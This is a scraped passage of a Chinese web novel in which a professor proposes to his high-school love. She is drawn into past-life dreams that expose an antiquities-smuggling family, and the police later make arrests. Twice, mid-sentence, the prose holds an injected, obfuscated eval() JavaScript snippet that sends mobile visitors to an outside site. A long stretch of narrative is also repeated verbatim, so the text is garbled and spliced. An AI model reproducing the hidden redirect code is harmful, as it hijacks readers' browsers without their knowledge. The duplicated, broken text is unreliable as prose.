闻见闻言回过神来,他张嘴要说什么,才发现喉咙紧得连一点声音都发不出来,紧接着,便是惊天动地一阵呛咳,“咳咳咳咳……” 孟瑾不明所以,忙起身给他拍着背,一边急急问:“哎,你怎么了?怎么突然咳起来了,是不是昨天晚上在外面待的时间太长感冒了?” 闻见摆手示意自己没事,人还是咳得厉害,最后把眼泪都快咳出来了,才算勉强止住。 孟瑾从床头柜上扯了两张纸巾递过去,收回给他拍背的手,低头摸着口袋里的手机说:“这么大动静估计伤口都裂开了,等下,我叫个车,陪你去医院看……” 话没说完,就被闻见直接拦腰扣进怀里了,他虽然只有一只手能动,力气却是出奇的大,手掌又宽又热,几乎一把便将她整个腰身都抱住。 随着,闻见低头看来,一双眼睛湿湿的,亮亮的,瞧着她笑了。 孟瑾猝不及防,整个人软软地一屁股跌坐到他腿上,她下意识抬头看他,面上表情还有些懵:“你……你做什么?” “求婚,”闻见说:“我要跟你求婚,跟我最爱的姑娘求婚。” 他吸了吸鼻子,动作很轻很轻,嗓音却还是难免哽咽。 孟瑾脑袋靠着他的胸膛,透过薄薄一层布料,感受着他炙热的体温,感受着他极快的心跳,仿佛被传染了似的,她下意识捏住腿上的裙摆,指尖因用力过度发出不自然的白,心跳也猛地跟着快起来。 他定定看着她璀璨如光的眼眸,声音很低,话说的却很认真:“孟瑾,我昨晚也做梦了,我梦见我们的前世,那时我叫谭延,你叫苏婉瑜,我们本是青梅竹马,我却没有保护好你,丢下你提前离开了……让你一个人受了很多苦,一个人在那乱世中苦苦煎熬。” “还好上天眷顾,今生有幸,让我又遇见了你,我不会再让你独自面对了。” “小瑾/阿瑜,你愿意再相信我一次,愿意嫁给我,做我的妻子,与我再续前缘,与我相守余生吗?” 孟瑾闻言呼吸一滞,她原本想说什么,然而话没出口,整个人的意识就被猛然窜进大脑的巨大冲击拉进了另个时空。 脚下山路崎岖,泉水叮咚与飞鸟低唱遥相呼应,春寒料峭,冷风徐徐,东方朝阳满天,旭日破云而出。 这一幕;仿佛预示着雷雨长夜终将告急,黎明朝阳如约而至。 孟瑾的额上噼里啪啦滚着汗珠,断了线似的,肺部极度缺氧,胸口剧烈起伏,整个人被巨大的时空冲击狠狠拍到地上,身体零件应撞到地面发出强烈刺痛,火辣辣地表达着不满。 她缓了好一会才回过神来,一手撑着身后山石坐起来,偏头猛地喷出一口鲜血,这才意识到自己应该是又在幻觉里了。 她半张着嘴吸了几口冷风,抬头看了眼周遭陌生又熟悉的环境,突然惊觉自己好像认识这里,记得这条路。 上次谭延抱着她往那片竹林去的时候走的就是这条路,还有更久之前她自己也走过,没记错的话,顺着这条山道一直往下,就能找到苏婉瑜和她母亲住的那个茅草屋。 孟瑾想着,伸手捡了个树枝借力站起来,一边踩着抖栗的山石慢慢朝下走,抬头看了眼头顶的霞光满天,不知怎的,她心里突然有种很强烈的预感,所有的真相很快就要浮出水面了。 她低头看着脚下崎岖的山路,自顾自轻声一句:“你找了我那么多次,这回换我来找你了。” 现代人到底还是更适合在公路上行走的,崎岖的山路十八弯,加上不时传来的飞禽鸟兽各种叫声,即便今日老天作美,没有震得人头晕目眩的雷雨闪电,孟瑾这条下山路却还是走得十分艰难。 “砰”一声巨响,不知从哪滚下来一辆马车,车子四仰八叉倒在她面前,奄奄一息的红鬃烈马发出一声足以撕裂天地的悲鸣哀嚎,接着,便缓缓闭上眼睛,喘着粗气不动了。 车里的东西顿时洒落一地,孟瑾略略扫了几眼,全都是价值连城的金银首饰,瓷器玉雕——周遭没有别人,应当是车夫拉不住受惊的马儿,弃车逃走了。 她被接二连三的巨大声响震得想吐,晕晕乎乎好不容易又站起来,想过去查看那马还有没有生还的可能,低头的刹那,却被一只做工十分精巧考究,整个周身发着一道浅浅柔光的祖母绿翡翠簪子吸引了目光。 那不是之前闻女士送给她的那只翡翠发簪么,据说还是闻见家的传家宝,它怎么会出现在这里? “我就知道你在这里。”身后传来一抹温婉如溪的女声,孟瑾回头看去,眼前人正是她要找的那位苏家大小姐——苏婉瑜,苏小姐微微倾身向她行了一礼,缓步上前道:“不知姑娘此刻可否听得懂妾身之言?” 孟瑾还是听不懂她说了什么,只好无奈地摇头。 “也罢。”苏小姐自言自语般又说了两个字,走过去将她手边的翡翠簪子捡起来,指尖缓缓触摸着上头深刻清晰的道道纹路,就仿佛隔着时空又摸到了那个年少时送她发簪,为她许下承诺的白衣少年——谭延。 那时霞光如金,天晴风高,他们尚且懵懂自由,那时她将玉簪轻轻戴到她的发际上,而后弯眼笑道:“愿朝朝暮暮再回首,身旁人依旧。” 可如今回首,她与他却是物是人非,阴阳两隔了。 孟瑾看着她眉眼含泪,黯然伤神的模样,张嘴想说什么,又蓦地意识到两人没法用语言交流,她眨眨眼睛,蹲下捡了一块石头,用闻见教给她的魏晋行书在地上写了一行字:苏小姐,你还好吗? 苏婉瑜见状忽地瞪大眼睛,面上伤心的神情也转成惊喜,她笑着点点头,忙从孟瑾手里接过石头写道:我没事。 接着又问:你能看懂我写的字? 孟颖想说,她只能看懂一些简单的,但又怕对方知道了难过,她想了想,最终还是点头应是。 没事,就算她看不懂,不是还有闻教授呢吗? 闻见闻言彻底愣住,眼睛蓦地睁大,脸上的表情却淡淡的。 刹那间,回忆与现实在脑海里沸反盈天,过去的画面一幕幕浮现:他想起十七岁初见时,那个矜贵又冷漠的少女,她不愿同他多说一句话,甚至将他当成了那种无聊搭讪的人,然而最后的最后,她还是拆开了他送她的那包甜糯蜜糖,慢慢送进嘴里,卸下所有伪装,认认真真为她最爱的外婆哭了一场。 从此,他便跟着她,守着她,少年命运的轨迹也悄悄有了变化。 是她在他平淡无波的青春岁月里浓墨重彩写了一笔,那时,他在多少次无意抬眸间,为她怦然心动,为她黯然伤神。 后来,孟瑾离开国内去了别的地方,日复一日,年复一年,他却从来没有将她忘掉,他在无数个思念成疾的失眠夜,想她,念她,盼着她,与她有关的所有回忆一遍遍撕扯着他的神经与灵魂,令他如梗在喉,心痛难耐,少年手中却没有一张她的单人照片。 想起过去的那些种种,他们在各自的忙碌生活中渐渐长大,从高二上学期的同校校友,到高二下学期她与他成了同班同学,从擦肩而过都不抬头地无话可说,到后来偶尔闲聊,他也能很幸运地见到少女眉眼间不经意流露出灿烂笑容,再到高三雨中承诺彻底远离。 自此,山高路远,再无交集。 从高中的青涩懵懂到大学的深埋心底,到后来不经意间听说孟瑾换了别的学校,去了别的城市,交了个很帅的男朋友,他听说对方处处都比他优秀,都比他好,家世好,人缘好,出手大方,朋友遍地,性格开朗,可就是……对孟瑾不好。 从一名普通的本科学生,到后来自己也成了站在讲台上教书育人的青年老师,从大学毕业离开校园到分配工作主动要求又回到校园,整整十年零八个月,他从青涩稚嫩的学生模样蜕变成成熟稳重的无聊大人,这一路经历过很多,失去过很多,忘掉过很多,也释怀了很多。 这一路,他从未想过孟瑾会为他回头,却也从未想过要放弃自己心中的那份执着,他没想过再去打扰她,他只想自己一个人,一直在他们遇见的这座小城,在无意中听说过孟瑾也曾想考的这所大学,安安静静等着她,念着她,为她祈祷,为她祝福。 朝朝暮暮,直到永恒。 然而就在刚刚,在回忆闯进脑海的前一秒,那个曾让他辗转反侧彻夜难眠,向神明祈祷来生还要再见的少女,那道毫不吝啬在他青春里炸开,给了他无限遐想与震撼的璀璨光芒却突然跟他说,他还没向她求过婚,他要不要跟她求个婚。 约莫两三分钟过去,闻见还在发呆,孟瑾不知道他想到了什么,但是感觉到了他捏着自己手的力道,很重很重地力道。 甚至,她的骨头都被闻见捏疼了,但孟瑾没有抽回手,也没有打断他的思绪。 因为她突然很喜欢被闻见牢牢牵着手的感觉,也说不上具体是什么,就是莫名觉得踏实,觉得舒服,觉得心里暖暖的。 又过了好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370042|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一会儿,她才抬睫看着他说:“闻教授,不同意就不同意,别一直发呆了。” 闻见闻言回过神来,他张嘴要说什么,才发现喉咙紧得连一点声音都发不出来,紧接着,便是惊天动地一阵呛咳,“咳咳咳咳……” 孟瑾不明所以,忙起身给他拍着背,一边急急问:“哎,你怎么了?怎么突然咳起来了,是不是昨天晚上在外面待的时间太长感冒了?” 闻见摆手示意自己没事,人还是咳得厉害,最后把眼泪都快咳出来了,才算勉强止住。 孟瑾从床头柜上扯了两张纸巾递过去,收回给他拍背的手,低头摸着口袋里的手机说:“这么大动静估计伤口都裂开了,等下,我叫个车,陪你去医院看……” 话没说完,就被闻见直接拦腰扣进怀里了,他虽然只有一只手能动,力气却是出奇的大,手掌又宽又热,几乎一把便将她整个腰身都抱住。 随着,闻见低头看来,一双眼睛湿湿的,亮亮的,瞧着她笑了。 孟瑾猝不及防,整个人软软地一屁股跌坐到他腿上,她下意识抬头看他,面上表情还有些懵:“你……你做什么?” “求婚,”闻见说:“我要跟你求婚,跟我最爱的姑娘求婚。” 他吸了吸鼻子,动作很轻很轻,嗓音却还是难免哽咽。 孟瑾脑袋靠着他的胸膛,透过薄薄一层布料,感受着他炙热的体温,感受着他极快的心跳,仿佛被传染了似的,她下意识捏住腿上的裙摆,指尖因用力过度发出不自然的白,心跳也猛地跟着快起来。 他定定看着她璀璨如光的眼眸,声音很低,话说的却很认真:“孟瑾,我昨晚也做梦了,我梦见我们的前世,那时我叫谭延,你叫苏婉瑜,我们本是青梅竹马,我却没有保护好你,丢下你提前离开了……让你一个人受了很多苦,一个人在那乱世中苦苦煎熬。” “还好上天眷顾,今生有幸,让我又遇见了你,我不会再让你独自面对了。” “小瑾/阿瑜,你愿意再相信我一次,愿意嫁给我,做我的妻子,与我再续前缘,与我相守余生吗?” 孟瑾闻言呼吸一滞,她原本想说什么,然而话没出口,整个人的意识就被猛然窜进大脑的巨大冲击拉进了另个时空。 脚下山路崎岖,泉水叮咚与飞鸟低唱遥相呼应,春寒料峭,冷风徐徐,东方朝阳满天,旭日破云而出。 这一幕;仿佛预示着雷雨长夜终将告急,黎明朝阳如约而至。 孟瑾的额上噼里啪啦滚着汗珠,断了线似的,肺部极度缺氧,胸口剧烈起伏,整个人被巨大的时空冲击狠狠拍到地上,身体零件应撞到地面发出强烈刺痛,火辣辣地表达着不满。 她缓了好一会才回过神来,一手撑着身后山石坐起来,偏头猛地喷出一口鲜血,这才意识到自己应该是又在幻觉里了。 她半张着嘴吸了几口冷风,抬头看了眼周遭陌生又熟悉的环境,突然惊觉自己好像认识这里,记得这条路。 上次谭延抱着她往那片竹林去的时候走的就是这条路,还有更久之前她自己也走过,没记错的话,顺着这条山道一直往下,就能找到苏婉瑜和她母亲住的那个茅草屋。 孟瑾想着,伸手捡了个树枝借力站起来,一边踩着抖栗的山石慢慢朝下走,抬头看了眼头顶的霞光满天,不知怎的,她心里突然有种很强烈的预感,所有的真相很快就要浮出水面了。 她低头看着脚下崎岖的山路,自顾自轻声一句:“你找了我那么多次,这回换我来找你了。” 现代人到底还是更适合在公路上行走的,崎岖的山路十八弯,加上不时传来的飞禽鸟兽各种叫声,即便今日老天作美,没有震得人头晕目眩的雷雨闪电,孟瑾这条下山路却还是走得十分艰难。 “砰”一声巨响,不知从哪滚下来一辆马车,车子四仰八叉倒在她面前,奄奄一息的红鬃烈马发出一声足以撕裂天地的悲鸣哀嚎,接着,便缓缓闭上眼睛,喘着粗气不动了。 车里的东西顿时洒落一地,孟瑾略略扫了几眼,全都是价值连城的金银首饰,瓷器玉雕——周遭没有别人,应当是车夫拉不住受惊的马儿,弃车逃走了。 她被接二连三的巨大声响震得想吐,晕晕乎乎好不容易又站起来,想过去查看那马还有没有生还的可能,低头的刹那,却被一只做工十分精巧考究,整个周身发着一道浅浅柔光的祖母绿翡翠簪子吸引了目光。 那不是之前闻女士送给她的那只翡翠发簪么,据说还是闻见家的传家宝,它怎么会出现在这里? “我就知道你在这里。”身后传来一抹温婉如溪的女声,孟瑾回头看去,眼前人正是她要找的那位苏家大小姐——苏婉瑜,苏小姐微微倾身向她行了一礼,缓步上前道:“不知姑娘此刻可否听得懂妾身之言?” 孟瑾还是听不懂她说了什么,只好无奈地摇头。 “也罢。”苏小姐自言自语般又说了两个字,走过去将她手边的翡翠簪子捡起来,指尖缓缓触摸着上头深刻清晰的道道纹路,就仿佛隔着时空又摸到了那个年少时送她发簪,为她许下承诺的白衣少年——谭延。 那时霞光如金,天晴风高,他们尚且懵懂自由,那时她将玉簪轻轻戴到她的发际上,而后弯眼笑道:“愿朝朝暮暮再回首,身旁人依旧。” 可如今回首,她与他却是物是人非,阴阳两隔了。 孟瑾看着她眉眼含泪,黯然伤神的模样,张嘴想说什么,又蓦地意识到两人没法用语言交流,她眨眨眼睛,蹲下捡了一块石头,用闻见教给她的魏晋行书在地上写了一行字:苏小姐,你还好吗? 苏婉瑜见状忽地瞪大眼睛,面上伤心的神情也转成惊喜,她笑着点点头,忙从孟瑾手里接过石头写道:我没事。 接着又问:你能看懂我写的字? 孟颖想说,她只能看懂一些简单的,但又怕对方知道了难过,她想了想,最终还是点头应是。 没事,就算她看不懂,不是还有闻教授呢吗? 63.第 63 章 闻教授等了半天没等到她回话,他低头看去,才发现,孟瑾不知何时已经靠着他的胸口睡着了。 闻见叹了口气,起身将她放到枕头上,伸手还没碰到被子,就蓦地意识到孟瑾好像又被控在那极其残忍血腥的诡谲梦魇里,正被迫经历着什么。 怀里的姑娘脸色惨白,眉头紧锁,手也无意识死死抓着他的手,呼吸又快又重,胸口剧烈起伏,整个人都被浸在冷汗里,身子僵硬冰冷,嘴也半张着,仿佛想与他说什么,又无论如何也说不出来,只是不受控地剧烈发抖。 不停抽搐。 眼看着……她就要撑不住了。 闻见用力回握着她,一双眼眸急得通红,整个身体都在跟着孟瑾一起抖,他就那样抱着她,一边尽量强迫自己冷静下来帮她揉搓着四肢,一边哑着喉咙语无伦次唤她的名字:“小瑾,小瑾,小瑾你怎么了?你快醒醒,你不要睡了,不要睡了好不好?快醒醒……快醒醒啊……” 孟瑾面色铁青,模糊的意识在脑中飘来荡去,浑身不住颤抖,灵魂被巨大的冲击拉扯着,夹在两个时空夹缝里,回不来,也出不去。 那是人类无法承受的痛苦,她的胸口像是被压了千斤重的巨石,全身的骨头也像被禁锢在硫酸里,有无数只长了锯齿獠牙的蚂蚁在咬,有无数团泼了汽油的火焰在烧,一呼一吸都令她痛彻心扉,生不如死。 可能是她,或者说,是“她们”破坏了某种不被人类所知的高级文名定下的“穿越法则”,因为就在刚刚,在她的梦里,苏婉瑜跟她说她们本是同一个人,她是孟瑾的上一世,她之所以想尽办法出现在孟瑾的梦里,只为请她帮忙,为惨死的父兄家人讨个公道,更为被那些蒙面黑衣的刽子手偷走抢走,倒卖出国的古书文物发声作证,希望与孟瑾合作,帮它们早日回归。 她们本是用石头在地上写字交流的,可是不知怎的,对方才写了两句,天就突然完全黑下来,周遭没有一丝光亮,接着,便是比眨眼还快的日月更替,斗转星移,两人也十分默契地进入到某种忘我的状态里。 只听苏婉瑜说:“是我母亲教给我的方法,让我来梦里找你的。” 孟瑾一时都没顾上惊讶“好神奇,她怎么突然能听懂对方说话了”,就顺着她的话问:“唔,你的意思是不光是你,还有你妈妈……嗯,你母亲,她也在梦里找过后世的人吗?那他们有没有找到关于那些盗贼的线索,知不知道他们把东西卖到哪里了?” 苏婉瑜点头,“但是我母亲的转世已经在“你们”那个世界被那些人害死了,具体的我母亲也不知道,但是她说那位先生是一名很勇敢的边境警察,他临终之前嘱咐我给你带一句话,‘宋家只是冰山一角,从我苏家灭门惨案起,整件事情真正的幕后黑手就是卓家,卓阳的祖辈们,而那个卓阳也是生性狡猾,臣服颇深的,你一定要想办法砍掉他的狐狸尾巴,逼他现形’。” 孟瑾闻言一滞,她好像突然明白了很多事——当年宋天宇的父亲为什么突然摇身一变就成了“上流人士”,他们家哪来的那么多文物古董,还有那个卓阳无论是才干心机还是经济实力,他跟本不需要仰仗宋家,甚至他只要轻轻动一下手指就能取而代之,他却甘心俯首称臣这么多年,甘心让宋天宇按着他的智商在地上疯狂摩擦这么久。 原来一切的一切都是障眼法,都是为了隐藏他自己的身份——宋家,宋天宇,宋长林这些人不过是他手里可以随时丢弃的一名棋子罢了。 和被他们当年为了一己私欲残忍屠杀的那些枉死的冤魂一样,不过也是在为别人做嫁衣。 接着,苏婉瑜给她讲了她与她母亲的故事。 如果没有遇见那些贪婪的人,没有遭遇那些天降横祸,这位苏小姐的人生本可以用“完美”二字来形容。 苏婉瑜是苏家长女,又是父母唯一的女儿,从小她便受尽宠爱,甚至比上头三位兄长都要受宠,几乎可以说是含着金汤匙长大的,加上她自己又生得聪慧美丽,三岁熟读《五径》,七岁便读完了《春秋》,琴棋书画,织布绣纺也是样样精通。 爹爹夸她是旷世奇才,要送她去参军入伍,可是母亲只有她这么一个女儿,自然是舍不得的,其实爹爹又何尝舍得,不过是嘴上说说而已。 然而参军的事不提,婚姻大事总是要定的,古代女子一般十三四岁就要出嫁,准备嫁妆、请媒人,还要找个称心如意的好郎君,这些事情忙活下来少则也得三四年了。 苏家自古便是黄商,虽不比那些皇亲国戚在都城的名望高,可也是商铺无数,粮田千亩的大户人家,听说他家要为小女儿寻一如意郎君,慕名来提亲的世家公子自然不在少数,其中就有世代书香门第,现在朝中为四品尚书郎的谭大人之幼子——谭延,谭公子。 谭公子从小体弱,生性高冷,虽在潮中没有一官半绝,但几乎整个都城老幼都知晓,他才高八斗,面若潘安,是无数闺中小姐的春闺梦里人。 苏婉瑜自然也知道,何况,她在幼年时一次跟着三位兄长上山打猎,就曾救过身重巨毒,险些丢了性命的谭公子,所以其实也算旧相识了——恰好三哥瞧见那位谭公子的名字又想起这事,便当成一桩趣事说与父亲母亲听了。 父母听后也觉十分有缘,便拍板将他俩的事定了下来。 可是好景不长,这事儿过了不足三个月,谭延的父母就被奸人暗算致死,家里的人也是散的散,逃的逃,没过两日就剩他一人了。接着,便是与谭家交好的商户杨家、苏家也跟着落了难,家财万贯付之东流,家人朋友也全都含怨而死。 孟瑾听完苏小姐的故事,呼吸停了两三秒,没等她想好要问那位勇敢的警察先生是不是叫林相,还是她们是怎么通过梦境与后世的人联系的,周遭就猛地炸起一声惊雷,苏小姐也在刹那不见了踪影。 电光火石之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426248|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 际,带着血腥味的狂风骤雨兜头砸下,她整个人被巨大的时空冲击撕扯着,身体里的五脏六腑都被挤压变了形。 之后便是无边无际的黑暗,那里没有空气,没有声音,没有别人也没有自己。灵魂仿佛脱离了躯体,像浩瀚宇宙间飞驰而过的一颗流星,找不到支点,也没有落点,只是被动的往前,一直在往前。 直到,仿佛过了一个世纪那么久。 白昼将至,天光告急,终于,在窒息前最后一刻,孟瑾用着常人无法匹及地耐力与坚持猛地睁开了眼睛! “咳咳咳咳咳咳……”没等眼前刺目的白光散去,她就偏头咳了个惊天动地。 像是彻底失去了一切所知所想的概念,她能看到窗外残阳如血的落日,也能听到耳边有人在唤她的名字,可就是听不清是谁,不知道自己身处何地。 一直紧紧抱着她的闻见动了动眼睫,下一秒,整个人都清醒了:“小瑾,小瑾你醒了吗?你……你真的醒了吗?” 他一边难以置信地跟她说着什么,一边抖着手小心翼翼将她唇上咳出的血沫擦掉,又说:“小瑾,你感觉怎么样?能听到我说话吗?等下,我去叫医生,叫医生过来看看……“ 闻见起身还没转过去,垂在身侧的手就被孟瑾勾住了小拇指,她的脸色很白,却被顺着窗户撒进来的夕阳余晖镀了一层淡金色的光,她转过来,看着他,亮亮的眼睛刹那弯成好看的月牙。 孟瑾声音很小,说的话却很认真:“班长,我的日记主题叫、叫‘瑾年见闻’,你知道是什么意思吗?” 闻见闻言嘴唇动了动,却没说出话来。 他重新转回坐到椅子上,倾身凑近亲了亲她的额头,下一秒,一颗冰冰凉凉的眼泪就落到了孟瑾的眼睫上。 “我知道……知道,”闻见点头笑起来,一边迅速抬手蹭掉眼睛上的眼泪,声音低低沉沉的,有一点哽咽:“瑾年见闻的意思就是……就是今年见闻,就是孟瑾想见闻见了……” 女孩定定看着他,两秒后眼睛蓦地跟着红了。 她伸手捧住他的脸,看着他的眼睛,看着他眼里铜仁泛着泪光的自己,好一会儿,突然咧嘴笑了:“哦,原来你也不是很笨嘛……” 闻见伸手握住她的手,握得很紧很紧,他也扯着嘴角笑了一下,却没回答她的话。 “孟瑾,对不起。”闻见说:“都怪我以前太粗心,太不了解你了……” 以为你说不喜欢,就是真的不喜欢我,以为你说不想我靠近,就是真的不想让我跟着你,可是……可是你要是真的不想让我靠近,不想让我跟着你,又怎么会跟我说话,跟我一起看夕阳,一起听歌呢? 又怎么会弯起眼睛冲我笑,说我长得帅,说我买的棉花糖很甜,很好吃呢? 孟瑾,对不起,真的对不起。 其实你说得对,其实,我一直……一直都是个笨蛋来着。 64.第 64 章 是啊,他一直都是那个笨蛋来着。 可是回头再看,笨的又何尝只有闻见一个? 就像有句俗语说的:人无法同时拥有青春和对青春的感受。 那么初恋的意义,自然也可以是不那么完美的,可以是带着瑕疵和伤感的,没有那么惊心动魄、刻骨铭心的。 甚至,至于懵懂何遗憾也未尝不可。 因为抬头往前,他们还有大好的未来。 因为至少,他还在原地等她,没有离开,不曾走远。 两人就那样面对面看着彼此,直到,窗外金红的晚霞变成一眨一眨的灯火阑珊,安静的医院走廊重新传来细碎的脚步声响。 躺在病床上的孟瑾终于轻轻眨了一下眼,她的手还捧着他的脸,两人距离挨得很近,眼眸相接,气息纠缠,孟瑾一呼一吸都是闻见身上清爽好闻的洗衣液味道。 又过了好一会儿,她忽地抬头亲了亲他的嘴角,轻声笑道:“没关系,我原谅你了。” 孟瑾被困在梦魇里整整一周多,闻见就寸步不离的在医院守着她,陪着她,哪都没去过。 前两天陈朵朵来看孟瑾,劝他回家休息休息,洗洗衣服什么的,等天亮再来换她。 闻见也不愿意回,他只云淡风轻地说,没关系,福袋有闻女士帮忙照顾,他回去也没事干。 然而陈朵朵知道,他并不是没事干,只是想多和孟瑾待一会儿,因为真正两情相悦的爱,本身就是不愿与对方分开,哪怕一分一秒也要守在她/他身边。 至于闻见面上表现出来的那些克制冷静,云淡风轻,只是他的性格使然,与他们的爱情无关。 她点头笑了笑,没再说什么,心里已经有了答案。 她想:她与段飞总归还是有缘无份的,或许之前也是真的爱过,但爱过和爱情本就不是一个概念,他们本就不是一路人。 她又何必为了一个灵魂已然死去的人站在原地,苦苦煎熬呢? 这世上不是每个人都能迎来自己的完美人生,但至少,她还可以去追求自己想要,并一直在寻找的绚烂旅程。 至于结局嘛。 其实不用强求的。 其实随缘就好了。 陈朵朵离开的是没有告诉任何人,包括孟瑾,她也不知道她去哪了,也不知道她什么时候回来。 或者说,还要不要再回来。 不过陈朵朵离开前还是选择报警了,她把段飞和宋天宇狼狈为奸做的那些事都跟警察说了。 还说了对方有精神病,会随时发疯伤害别人的事。 根据宪/法有关条例,段飞的行为已经构成了犯罪,虽然家属极力反对,但最终他还是被依法送进了精神病院。 孟瑾从梦魇中醒来,当晚就回了家,趁脑中的记忆尚且没有消失,她得赶紧请闻教授帮忙把苏婉瑜说的那些事情理清楚,记下来,还要找到更多相关的历史资料和证据,配合警方尽快将千年前被走私出国的那些古书文物一件件找回来,让它们早日回归祖国怀抱。 还要替另一个时空枉死的亲人、朋友,还有千千万万她不认识的那些无辜的人讨个公道。 说是请闻教授帮忙,然而实际上,孟瑾从小就对文字数据一类的东西提不起兴趣,也做不好,对此,她自己也是供认不讳的。 自然,找证据查资料什么的也就成了闻见一个人的活,而且他的情绪也很稳定,不管什么难搞的事情交到他手里都不烦躁。正好寒假不用去学校上课,闻教授每天两眼一睁就是抱着各种资料查出处,找数据。 孟瑾有时候就很佩服他,想着做点好吃的犒劳一下闻大班长,结果一进厨房她就有种手足无措,两眼发黑的感觉,最后还得闻见无奈又好笑地抓着肩膀把人推出去,然后自己来收场。 孟瑾一边被她推着走,一边又忍不住频频回头,说:“闻教授,你要相信我,真不是我的问题,肯定是你那个锅不好,我刚把菜放进去,都没炒它就糊了……” 闻见:“嗯嗯,知道。” “小孟老师的厨艺是最棒的,就是该换锅了,”他笑眯眯地凑过来亲了亲她的眼睛,又说:“但是做菜还挺危险,容易烫到手什么的,所以小孟老师还是把这点小事交给我吧,你去跟福袋玩一会儿,或者看看电视,吃吃水果什么的好不好?” 孟瑾撇撇嘴,懒得多说。 走了两步,她又忽地想起什么,回头伸手勾住闻见的脖子,一双黑眸上下打量他,“闻教授,你刚刚是不是在笑话我?” 闻教授一脸无辜:“没有啊,我怎么会笑话你呢?” 孟瑾:“你刚刚就笑了,而且还是很无奈的笑。” “我是觉得你可爱才笑的,不是在笑话你。” ”还说不是,明明就是,你现在还在笑!” 她说着,气呼呼的转身要走,却被闻见眼疾手快拉着手腕扯进怀里了。 “别走,”他说:“我真没笑话你,我是因为开心才笑的。谁叫你是我老婆呢,看见你我就开心,就忍不住笑,那又不是我能控制的,你说是不是?“ 孟瑾抬手搓了搓被他硬邦邦的胸口撞得生疼地脑门儿,抬头看来,下巴结结实实顶着他的胸膛,答非所问道:“闻见,你什么时候喜欢我的?” 闻见想也不想:“高中初见。” “已经十一年了,还剩几年?” 她问的是他喜欢她的时间。 闻见坦然:“不知道。” 他又说:“只要我的灵魂还有意识,我就不会停止爱你,所以我没法跟你说具体的时间。” 话毕,他低头吻上她柔软如蜜糖的唇瓣儿,声音有些含糊:“我爱你没有时间概念,但我相信,它一定是超越生死,刻进灵魂的永恒点滴。” 孟瑾闻言笑起来,笑着说:“我也是,我也永远爱你,无论前世还是今生,亦或是遥远的未来。” “你都是我的不二之选。” 说这些话的时候,他们始终看着对方的眼睛,没有躲闪,没有犹豫。 因为他们都很笃定,笃定自己的心,更笃定彼此的心。 …… 转眼时间来到农历腊月中,由卓阳、宋长林,宋天宇等人领导组织的跨世纪文物走私案秘密调查工作也进入尾声,来到最关键地收尾抓捕环节,由于涉案人员众多,且关系到千年前的多起皇商灭门案,省里也相当重视,甚至派了专案组和诸多技术人员组成的小分队下来协助安城警方调查取证。 孟瑾作为举报者,也是知道内幕最多,掌握最多证据的非公职人员,因此,为了她的个人安全和调查信息的绝对保密,调查期间,她就得与专案组的警察同志同吃同住,无紧急事情不得私自与外界联系。 直到,卓阳等人被抓捕归案,所有的事情尘埃落定。 孟瑾随警方从米兰回来,那天正好是腊月二十九,她笑着从方警官手里接过自己的手机,道了声再见,转身要走,却被对方出声叫住了。 方警官笑着说自己其实也没什么事,就是问问她过年有什么打算,要不要跟闻见回去老家看看,之后,他又夸她很聪明,很勇敢,说她以后肯定还有大作为。 孟瑾笑着一一回答了方警官的话,说过年自己也没什么打算,回去跟闻见商量一下吧,或者也应该去看看舅舅舅妈了。 方警官点点头,一副欲言又止的模样,孟瑾察觉到什么,主动笑了笑,问:“方警官,您怎么了?是我爷爷奶奶有消息了吗?” 这是很多年前,她拜托方警官帮忙打听的,结果后来一直也没有消息,孟瑾都以为找不到了。 方警官点点头,从口袋里掏出一个装着照片的信封递给她,说:“两位老人现在在邻市的养老院,过得挺好的,就是你奶奶说想你了,有机会过去看看吧。” 孟瑾捏着手里的信封没有打开,好一会儿,轻声说:“好,我知道了。谢谢方警官。” 方警官摆手:“没事,举手之劳。之前他们是租房住的,系统里没有信息,所以一直查不到。” 他又说:“两位老人现在年纪都大了,很多事情也都看开了,你也是,当年你父亲的事情是你母亲一个人做的决定,你当时还只是个学生,很多事情都不是你能左右的。要往前看啊。” 孟瑾看着手里的信封,眨了眨眼睛,又“嗯”了一声。 她的情绪看着很淡,像是什么事情都不太在乎,方警官却知道孟瑾并不是个薄情的人,否则她就不会因为唐婉清当年对孟强东作出的那些“自私”决定,将自己困在原地整整十多年。 他张张嘴,最终没再说什么。 最后还是孟瑾主动笑着说:“方警官,提前给你拜个年,天色也不早了,那我先回去了,再见。” 方警官点头,一边笑着跟她挥手:“好,快回去吧。” 孟瑾也点点头,又说了一句好。 说罢,她转身往家走,一路走过张灯结彩的商铺超市,迎面是男女老少各色模样,天色渐渐暗下,呼呼啦啦的风里又飘起了雪。 孟瑾伸手接了一片,晶莹剔透的六角形雪花安安静静在她掌心里躺了一会儿,很快,就化成水了。 她微微张嘴吸了一口冷风,然后闭眼抬头,认认真真感受着周遭熙熙攘攘车马喧嚣,感受着四季变换风雪依旧,好一会儿,轻轻翘起嘴角笑了。 是该往前看,往前走了。 家里还有闻见和福袋在等她,等她回去吃饭,等她回去过年呢。 孟瑾想着,掏出手机准备给闻教授打个电话,恰在此时,邮箱又跳进来一条陌生人发来的消息,她点开,里面只有两个字:想你。 虽然没有名字,但孟瑾却知道是陈朵朵。 她笑了笑,眼眶忽然有点热:我也是。 陈朵朵:知道,所以给你发个消息。 